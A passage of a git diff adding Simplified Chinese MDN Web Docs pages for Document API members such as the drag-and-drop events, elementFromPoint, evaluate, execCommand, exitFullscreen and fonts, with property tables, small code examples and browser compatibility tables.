button {{readonlyInline}}unsigned shortThe button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例:dropzone

+ +

HTML 内容

+ +
<div class="dropzone">
+    <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)">
+        This div is draggable
+    </div>
+</div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+<div class="dropzone"></div>
+ +

CSS 内容

+ +
  #draggable {
+    width: 200px;
+    height: 20px;
+    text-align: center;
+    background: white;
+  }
+
+  .dropzone {
+    width: 200px;
+    height: 20px;
+    background: blueviolet;
+    margin-bottom: 10px;
+    padding: 10px;
+  }
+ +

JavaScript 内容

+ +
  var dragged;
+
+  /* 可拖动的目标元素会触发事件 */
+  document.addEventListener("drag", function( event ) {
+
+  }, false);
+
+  document.addEventListener("dragstart", function( event ) {
+      // 保存拖动元素的引用(ref.)
+      dragged = event.target;
+      // 使其半透明
+      event.target.style.opacity = .5;
+  }, false);
+
+  document.addEventListener("dragend", function( event ) {
+      // 重置透明度
+      event.target.style.opacity = "";
+  }, false);
+
+  /* 放下目标节点时触发事件 */
+  document.addEventListener("dragover", function( event ) {
+      // 阻止默认动作
+      event.preventDefault();
+  }, false);
+
+  document.addEventListener("dragenter", function( event ) {
+      // 当可拖动的元素进入可放置的目标高亮目标节点
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "purple";
+      }
+
+  }, false);
+
+  document.addEventListener("dragleave", function( event ) {
+      // 当拖动元素离开可放置目标节点,重置其背景
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+      }
+
+  }, false);
+
+  document.addEventListener("drop", function( event ) {
+      // 阻止默认动作(如打开一些元素的链接)
+      event.preventDefault();
+      // 移动拖动的元素到所选择的放置目标节点
+      if ( event.target.className == "dropzone" ) {
+          event.target.style.background = "";
+          dragged.parentNode.removeChild( dragged );
+          event.target.appendChild( dragged );
+      }
+
+  }, false);
+ +

{{ EmbedLiveSample('示例:dropzone') }}

+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/document/drop_event/index.html b/files/zh-cn/web/api/document/drop_event/index.html new file mode 100644 index 0000000000..3016333f51 --- /dev/null +++ b/files/zh-cn/web/api/document/drop_event/index.html @@ -0,0 +1,265 @@ +--- +title: drop +slug: Web/API/Document/drop_event +tags: + - DOM + - Drag Event + - Drop + - Event + - HTML5 + - drag and drop + - 参考 + - 拖拽 + - 拖拽释放 + - 拖拽释放事件 +translation_of: Web/API/Document/drop_event +--- +
{{APIRef}}
+ +

当一个元素或是选中的文字被拖拽释放到一个有效的释放目标位置时,drop 事件被抛出。

+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Target objects{{domxref("Document")}}, {{domxref("Element")}}
Interface{{domxref("DragEvent")}}
Default ActionVaries.
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe element that was underneath the element being dragged.
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
dataTransferDataTransferThe data that underlies a drag-and-drop operation, known as the drag data store. Protected mode.
currentTarget {{readonlyInline}}EventTargetThe node that had the event listener attached.
relatedTarget {{readonlyInline}}EventTargetFor mouseover, mouseout, mouseenter and mouseleave events: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}longThe X coordinate of the mouse pointer in global (screen) coordinates.
screenY {{readonlyInline}}longThe Y coordinate of the mouse pointer in global (screen) coordinates.
clientX {{readonlyInline}}longThe X coordinate of the mouse pointer in local (DOM content) coordinates.
clientY {{readonlyInline}}longThe Y coordinate of the mouse pointer in local (DOM content) coordinates.
button {{readonlyInline}}unsigned shortThe button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.
buttons {{readonlyInline}}unsigned shortThe buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). More info.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

示例:dropzone

+ +

{{page('/zh-CN/docs/Web/Events/dragstart', '示例:dropzone')}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drop event")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5.1", "editing.html#dndevents", "drop event")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/document/elementfrompoint/index.html b/files/zh-cn/web/api/document/elementfrompoint/index.html new file mode 100644 index 0000000000..66172b2540 --- /dev/null +++ b/files/zh-cn/web/api/document/elementfrompoint/index.html @@ -0,0 +1,44 @@ +--- +title: Document.elementFromPoint() +slug: Web/API/Document/elementFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint +--- +
+ {{APIRef()}} {{Fx_minversion_header(3)}}
+

概述

+

返回当前文档上处于指定坐标位置最顶层的元素, 坐标是相对于包含该文档的浏览器窗口的左上角为原点来计算的, 通常 x 和 y 坐标都应为正数.

+

语法

+
var element = document.elementFromPoint(x, y);
+ +

示例

+
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>elementFromPoint example</title>
+
+<script>
+function changeColor(newColor) {
+  elem = document.elementFromPoint(2, 2);
+  elem.style.color = newColor;
+}
+</script>
+</head>
+
+<body>
+<p id="para1">Some text here</p>
+<button onclick="changeColor('blue');">blue</button>
+<button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+

附注

+

If the element at the specified point belongs to another document (for example, an iframe's subdocument), the element in the DOM of the document the method is called on (in the iframe case, the iframe itself) is returned. If the element at the given point is anonymous or XBL generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.

+

If the specified point is outside the visible bounds of the document or either coordinate is negative, the result is null.

+

{{Note("Callers from XUL documents should wait until the onload event has fired before calling this method.")}}

+

规范

+ diff --git a/files/zh-cn/web/api/document/elementsfrompoint/index.html b/files/zh-cn/web/api/document/elementsfrompoint/index.html new file mode 100644 index 0000000000..855f793460 --- /dev/null +++ b/files/zh-cn/web/api/document/elementsfrompoint/index.html @@ -0,0 +1,128 @@ +--- +title: Document.elementsFromPoint() +slug: Web/API/Document/elementsFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

elementsFromPoint() 方法可以获取到当前视口内指定坐标处,由里到外排列的所有元素。

+ +

语法

+ +
var elements = document.elementsFromPoint(x, y);
+ +

返回值

+ +

一个包含多个元素的数组

+ +

参数

+ +
+
x
+
当前视口内某一点的横坐标
+
y
+
当前视口内某一点的纵坐标
+
+ +

示例

+ +

HTML

+ +
<div>
+  <p>Some text</p>
+</div>
+<p>Elements at point 30, 20:</p>
+<div id="output"></div>
+
+ +

JavaScript

+ +
var output = document.getElementById("output");
+if (document.elementsFromPoint) {
+  var elements = document.elementsFromPoint(30, 20);
+  for(var i = 0; i < elements.length; i++) {
+    output.textContent += elements[i].localName;
+    if (i < elements.length - 1) {
+      output.textContent += " < ";
+    }
+  }
+} else {
+  output.innerHTML = "<span style=\"color: red;\">" +
+     "您的浏览器不支持 <code>document.elementsFromPoint()</code>" +
+     "</span>";
+}
+ +

{{EmbedLiveSample('Example', '420', '120')}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint')}}{{Spec2('CSSOM View')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support {{CompatChrome(43.0)}}{{CompatGeckoDesktop("46.0")}}[1]10.0 {{property_prefix("ms")}}{{CompatUnknown}}{{CompatSafari(11)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(43.0)}}{{CompatGeckoMobile("46.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatSafari(11)}}{{CompatChrome(43.0)}}
+
+ +

 

diff --git a/files/zh-cn/web/api/document/embeds/index.html b/files/zh-cn/web/api/document/embeds/index.html new file mode 100644 index 0000000000..b7cdce99fc --- /dev/null +++ b/files/zh-cn/web/api/document/embeds/index.html @@ -0,0 +1,51 @@ +--- +title: document.embeds +slug: Web/API/Document/embeds +tags: + - API + - Document + - HTML DOM + - NeedsContent + - NeedsExample + - NeedsMarkupWork + - NeedsSpecTable + - Property +translation_of: Web/API/Document/embeds +--- +

{{ ApiRef() }}

+ +

{{domxref("Document")}}接口的只读属性embeds 返回当前文档内的<embed>HTML {{htmlelement("object")}}元素列表

+ +

语法

+ +
nodeList = document.embeds
+
+ +

+ +

一个 {{domxref("HTMLCollection")}}类型的值

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.embeds")}}

diff --git a/files/zh-cn/web/api/document/evaluate/index.html b/files/zh-cn/web/api/document/evaluate/index.html new file mode 100644 index 0000000000..49beb37091 --- /dev/null +++ b/files/zh-cn/web/api/document/evaluate/index.html @@ -0,0 +1,168 @@ +--- +title: Document.evaluate() +slug: Web/API/Document/evaluate +tags: + - API + - DOM + - XPath + - 参考 + - 方法 +translation_of: Web/API/Document/evaluate +--- +
{{ ApiRef("DOM") }}
+ +

根据传入的 XPath 表达式以及其他参数,返回一个 {{domxref("XPathResult")}} 对象。

+ +

语法

+ +
var xpathResult = document.evaluate(
+  xpathExpression,
+  contextNode,
+  namespaceResolver,
+  resultType,
+  result
+);
+ + + +

示例

+ +
var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+/* 在 document 中查找所有的 h2 元素。
+ * 结果可能是无序节点迭代器。 */
+var thisHeading = headings.iterateNext();
+var alertText = "Level 2 headings in this document are:\n";
+while (thisHeading) {
+  alertText += thisHeading.textContent + "\n";
+  thisHeading = headings.iterateNext();
+}
+alert(alertText); // 显示所有 h2 节点的文本
+
+ +

注意,在上述例子中,最好写更冗长的XPath,而不是常用的简写,比如 //h2。 通常,像上述例子所示,更具体的XPath选择器会得到显著的性能提升,特别是在非常大的文档中。这是因为查询计算不会将时间浪费在查看不需要的节点上。使用 // 通常很慢,这是因为它要从根节点和所有子节点中查找所有可能匹配的节点。

+ +

通过谨慎使用上下文参数能得到进一步的优化。比如,如果你知道你要查找的内容在 body 标签的某处,你可以这样做:

+ +
document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
+
+ +

注意上面的 document.body 已经替代了document作为上下文,所以 XPath 从 body 元素开始查找。 (在这个例子中,"." 很重要,因为它指示了查找要从document.body这个上下文节点开始。如果遗漏了 "." (剩下 //h2) ,查找会从根节点(html)处开始,这样会很浪费。)

+ +

查阅 Introduction to using XPath in JavaScript 获得更多信息。

+ +

注意

+ + + +

结果的类型

+ +

(Merge with Template:XPathResultConstants?

+ +

这些是 evaluate 方法的 resultType 参数支持的值:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Result TypeValueDescription
ANY_TYPE0Whatever type naturally results from the given expression.
NUMBER_TYPE1A result set containing a single number. Useful, for example, in an XPath expression using the count() function.
STRING_TYPE2A result set containing a single string.
BOOLEAN_TYPE3A result set containing a single boolean value. Useful, for example, an an XPath expression using the not() function.
UNORDERED_NODE_ITERATOR_TYPE4A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_ITERATOR_TYPE5A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
UNORDERED_NODE_SNAPSHOT_TYPE6A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_SNAPSHOT_TYPE7A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
ANY_UNORDERED_NODE_TYPE8A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.
FIRST_ORDERED_NODE_TYPE9A result set containing the first node in the document that matches the expression.
+ +

Results of NODE_ITERATOR types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.

+ +

Results of NODE_SNAPSHOT types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}{{Spec2("DOM3 XPath")}}Initial specification
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.evaluate")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/execcommand/index.html b/files/zh-cn/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..95624325e6 --- /dev/null +++ b/files/zh-cn/web/api/document/execcommand/index.html @@ -0,0 +1,175 @@ +--- +title: document.execCommand +slug: Web/API/Document/execCommand +tags: + - API + - DOM + - 参考 + - 方法 +translation_of: Web/API/Document/execCommand +--- +
{{ApiRef("DOM")}}{{Obsolete_header}}
+ +

当一个HTML文档切换到设计模式时,document暴露 execCommand 方法,该方法允许运行命令来操纵可编辑内容区域的元素。

+ +

大多数命令影响document的 selection(粗体,斜体等),当其他命令插入新元素(添加链接)或影响整行(缩进)。当使用contentEditable时,调用 execCommand() 将影响当前活动的可编辑元素。

+ +

语法

+ +
bool = document.execCommand(aCommandName, aShowDefaultUI, aValueArgument)
+
+ +

返回值

+ +

一个 {{jsxref('Boolean')}} ,如果是 false 则表示操作不被支持或未被启用。

+ +
+

注意:在调用一个命令前,不要尝试使用返回值去校验浏览器的兼容性

+
+ +

参数

+ +
+
aCommandName
+
一个 {{domxref("DOMString")}} ,命令的名称。可用命令列表请参阅 {{anch("命令")}} 。
+
aShowDefaultUI
+
一个 {{jsxref("Boolean")}}, 是否展示用户界面,一般为 false。Mozilla 没有实现。
+
aValueArgument
+
一些命令(例如insertImage)需要额外的参数(insertImage需要提供插入image的url),默认为null。
+
+ +

命令

+ +
+
backColor
+
修改文档的背景颜色。在styleWithCss模式下,则只影响容器元素的背景颜色。这需要一个{{cssxref("<color>")}} 类型的字符串值作为参数传入。注意,IE浏览器用这个设置文字的背景颜色。
+
bold
+
开启或关闭选中文字或插入点的粗体字效果。IE浏览器使用 {{HTMLElement("strong")}}标签,而不是{{HTMLElement("b")}}标签。
+
ClearAuthenticationCache
+
清除缓存中的所有身份验证凭据。
+
contentReadOnly
+
通过传入一个布尔类型的参数来使能文档内容的可编辑性。(IE浏览器不支持)
+
copy
+
拷贝当前选中内容到剪贴板。启用这个功能的条件因浏览器不同而不同,而且不同时期,其启用条件也不尽相同。使用之前请检查浏览器兼容表,以确定是否可用。
+
createLink
+
将选中内容创建为一个锚链接。这个命令需要一个hrefURI字符串作为参数值传入。URI必须包含至少一个字符,例如一个空格。(浏览器会创建一个空链接)
+
cut
+
 剪贴当前选中的文字并复制到剪贴板。启用这个功能的条件因浏览器不同而不同,而且不同时期,其启用条件也不尽相同。使用之前请检查浏览器兼容表,以确定是否可用。
+
decreaseFontSize
+
 给选中文字加上 {{HTMLElement("small")}} 标签,或在选中点插入该标签。(IE浏览器不支持)
+
defaultParagraphSeparator
+
更改在可编辑文本区域中创建新段落时使用的段落分隔符。有关更多详细信息,请参阅标记生成的差异
+
delete
+
删除选中部分.
+
enableAbsolutePositionEditor
+
启用或禁用允许移动绝对定位元素的抓取器。Firefox 63 Beta/Dev Edition 默认禁用此功能({{bug(1449564)}})。
+
enableInlineTableEditing
+
启用或禁用表格行和列插入和删除控件。(IE浏览器不支持)
+
enableObjectResizing
+
启用或禁用图像和其他对象的大小可调整大小手柄。(IE浏览器不支持)
+
fontName
+
在插入点或者选中文字部分修改字体名称. 需要提供一个字体名称字符串 (例如:"Arial")作为参数。
+
fontSize
+
在插入点或者选中文字部分修改字体大小. 需要提供一个HTML字体尺寸 (1-7) 作为参数。
+
foreColor
+
在插入点或者选中文字部分修改字体颜色. 需要提供一个颜色值字符串作为参数。
+
formatBlock
+
添加一个HTML块式标签在包含当前选择的行, 如果已经存在了,更换包含该行的块元素 (在 Firefox中, BLOCKQUOTE 是一个例外 -它将包含任何包含块元素). 需要提供一个标签名称字符串作为参数。几乎所有的块样式标签都可以使用(例如. "H1", "P", "DL", "BLOCKQUOTE"). (IE浏览器仅仅支持标题标签 H1 - H6, ADDRESS, 和 PRE,使用时还必须包含标签分隔符 < >, 例如 "<H1>".)
+
forwardDelete
+
删除光标所在位置的字符。 和按下删除键一样。
+
heading
+
添加一个标题标签在光标处或者所选文字上。 需要提供标签名称字符串作为参数 (例如. "H1", "H6"). (IE 和 Safari不支持)
+
hiliteColor
+
更改选择或插入点的背景颜色。需要一个颜色值字符串作为值参数传递。 UseCSS 必须开启此功能。(IE浏览器不支持)
+
increaseFontSize
+
在选择或插入点周围添加一个BIG标签。(IE浏览器不支持)
+
indent
+
缩进选择或插入点所在的行, 在 Firefox 中, 如果选择多行,但是这些行存在不同级别的缩进, 只有缩进最少的行被缩进。
+
insertBrOnReturn
+
控制当按下Enter键时,是插入 br 标签还是把当前块元素变成两个。(IE浏览器不支持)
+
insertHorizontalRule
+
在插入点插入一个水平线(删除选中的部分)
+
insertHTML
+
在插入点插入一个HTML字符串(删除选中的部分)。需要一个个HTML字符串作为参数。(IE浏览器不支持)
+
insertImage
+
在插入点插入一张图片(删除选中的部分)。需要一个 URL 字符串作为参数。这个 URL 图片地址至少包含一个字符。空白字符也可以(IE会创建一个链接其值为null)
+
insertOrderedList
+
在插入点或者选中文字上创建一个有序列表
+
insertUnorderedList
+
在插入点或者选中文字上创建一个无序列表。
+
insertParagraph
+
在选择或当前行周围插入一个段落。(IE会在插入点插入一个段落并删除选中的部分.)
+
insertText
+
在光标插入位置插入文本内容或者覆盖所选的文本内容。
+
italic
+
在光标插入点开启或关闭斜体字。 (Internet Explorer 使用 EM 标签,而不是 I )
+
justifyCenter
+
对光标插入位置或者所选内容进行文字居中。
+
justifyFull
+
对光标插入位置或者所选内容进行文本对齐。
+
justifyLeft
+
对光标插入位置或者所选内容进行左对齐。
+
justifyRight
+
对光标插入位置或者所选内容进行右对齐。
+
outdent
+
对光标插入行或者所选行内容减少缩进量。
+
paste
+
在光标位置粘贴剪贴板的内容,如果有被选中的内容,会被替换。剪贴板功能必须在 user.js 配置文件中启用。参阅 [1].
+
redo
+
重做被撤销的操作。
+
removeFormat
+
对所选内容去除所有格式
+
selectAll
+
选中编辑区里的全部内容。
+
strikeThrough
+
在光标插入点开启或关闭删除线。
+
subscript
+
在光标插入点开启或关闭下角标。
+
superscript
+
在光标插入点开启或关闭上角标。
+
underline
+
在光标插入点开启或关闭下划线。
+
undo
+
撤销最近执行的命令。
+
unlink
+
去除所选的锚链接的<a>标签
+
useCSS {{Deprecated_inline}}
+
切换使用 HTML tags 还是 CSS 来生成标记. 要求一个布尔值 true/false 作为参数。注: 这个属性是逻辑上的倒退 (例如. use false to use CSS, true to use HTML).(IE不支持)
+ 该属性已经废弃,使用 styleWithCSS 代替。
+
styleWithCSS
+
用这个取代 useCSS 命令。 参数如预期的那样工作, i.e. true modifies/generates 风格的标记属性, false 生成格式化元素。
+
+ +

示例

+ +

CodePen 中关于 如何使用 如何使用的一个例子。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}{{Spec2('HTML Editing')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Document.execCommand")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/document/exitfullscreen/index.html b/files/zh-cn/web/api/document/exitfullscreen/index.html new file mode 100644 index 0000000000..4cf18e65ff --- /dev/null +++ b/files/zh-cn/web/api/document/exitfullscreen/index.html @@ -0,0 +1,114 @@ +--- +title: Document.exitFullscreen() +slug: Web/API/Document/exitFullscreen +translation_of: Web/API/Document/exitFullscreen +--- +
{{ApiRef("Fullscreen API")}}
+ +

Document.exitFullscreen() 方法用于让当前文档退出全屏模式(原文表述不准确,详见备注)。调用这个方法会让文档回退到上一个调用{{domxref("Element.requestFullscreen()")}}方法进入全屏模式之前的状态。

+ +
备注: 如果一个元素A在请求进去全屏模式之前,已经存在其他元素处于全屏状态,当这个元素A退出全屏模式之后,之前的元素仍然处于全屏状态。浏览器内部维护了一个全屏元素栈用于实现这个目的。
+ +

语法

+ +
document.exitFullscreen();
+
+ +

示例

+ +
// 点击切换全屏模式
+document.onclick = function (event) {
+  if (document.fullscreenElement) {
+    document.exitFullscreen()
+  } else {
+    document.documentElement.requestFullscreen()
+  }
+};
+ +

API规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}{{Spec2("Fullscreen")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(45)}} (unprefixed)
{{CompatGeckoDesktop("9.0")}} as mozCancelFullScreen[1]
+ {{CompatGeckoDesktop("47.0")}}[1] (behind full-screen-api.unprefix.enabled
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebkitChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(45)}} (unprefixed)
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatChrome(45)}} (unprefixed)
{{CompatGeckoMobile("9.0")}} as mozCancelFullScreen[1]
+ {{CompatGeckoMobile("47.0")}}[1] (behind full-screen-api.unprefix.enabled
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 可通过Document.exitFullscreen()方法让全屏元素栈的栈顶元素退出全屏状态,并让新的栈顶的元素进入全屏状态。此特征在Gecko 11.0 {{geckoRelease("11.0")}}中被实现.

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/document/exitpointerlock/index.html b/files/zh-cn/web/api/document/exitpointerlock/index.html new file mode 100644 index 0000000000..0a99a81ea2 --- /dev/null +++ b/files/zh-cn/web/api/document/exitpointerlock/index.html @@ -0,0 +1,105 @@ +--- +title: Document.exitPointerLock() +slug: Web/API/Document/exitPointerLock +translation_of: Web/API/Document/exitPointerLock +--- +

{{ apiref("DOM") }}

+ +

{{ seeCompatTable }}

+ +

exitPointerLock 方法可异步的解锁鼠标(通过{{domxref("Element.requestPointerLock")}}锁定的)。

+ +

追踪是否解锁成功,需要监听{{event("pointerlockchange")}} 和{{event("pointerlockerror")}} 事件。

+ +

语法

+ +
document.exitPointerLock();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/fgcolor/index.html b/files/zh-cn/web/api/document/fgcolor/index.html new file mode 100644 index 0000000000..f4df5db364 --- /dev/null +++ b/files/zh-cn/web/api/document/fgcolor/index.html @@ -0,0 +1,40 @@ +--- +title: document.fgColor +slug: Web/API/Document/fgColor +translation_of: Web/API/Document/fgColor +--- +

{{ ApiRef() }}

+ +

概述

+ +

{{ Deprecated_header() }} fgColor属性用来获取或设置当前文档的前景色或者文本颜色.

+ +

语法

+ +
  var color = document.fgColor;
+  document.fgColor = color;
+
+ +

参数

+ + + +

例子

+ +
document.fgColor = "white";
+document.bgColor = "darkblue";
+
+ +

备注

+ +

在Mozilla Firefox中,该属性的默认值是黑色.(black或者#000000).

+ +

document.fgColor 属性已经在DOM Level 2中被废弃.推荐使用的css属性为{{ Cssxref("color") }} (用法为 document.body.style.color = "red").

+ +

另外一个类似的属性是 document.body.text, 该属性也在 HTML 4.01 中被废弃,推荐使用CSS属性.

+ +

规范

+ +

{{Compat("api.Document.fgColor")}}

diff --git a/files/zh-cn/web/api/document/fonts/index.html b/files/zh-cn/web/api/document/fonts/index.html new file mode 100644 index 0000000000..c6b680f6e4 --- /dev/null +++ b/files/zh-cn/web/api/document/fonts/index.html @@ -0,0 +1,57 @@ +--- +title: fonts +slug: Web/API/Document/fonts +translation_of: Web/API/Document/fonts +--- +

{{domxref("Document")}}的 fonts 属性接口返回文档的 {{domxref("FontFaceSet")}} 接口。

+ +

语法

+ +
let fontFaceSet = document.fonts;
+ +

+ +

返回值是文档的 {{domxref("FontFaceSet")}} 接口。FontFaceSet 接口对 加载新字体、检查已加载字体的加载状态 来说非常有用。

+ +

例子

+ +

在所有字体加载完成后进行操作

+ +
document.fonts.ready.then(function() {
+  // 字体加载完成后的逻辑
+});
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}}{{Spec2('CSS3 Font Loading')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.fonts")}}

+ +

参考资料

+ + + +
{{APIRef("DOM")}}
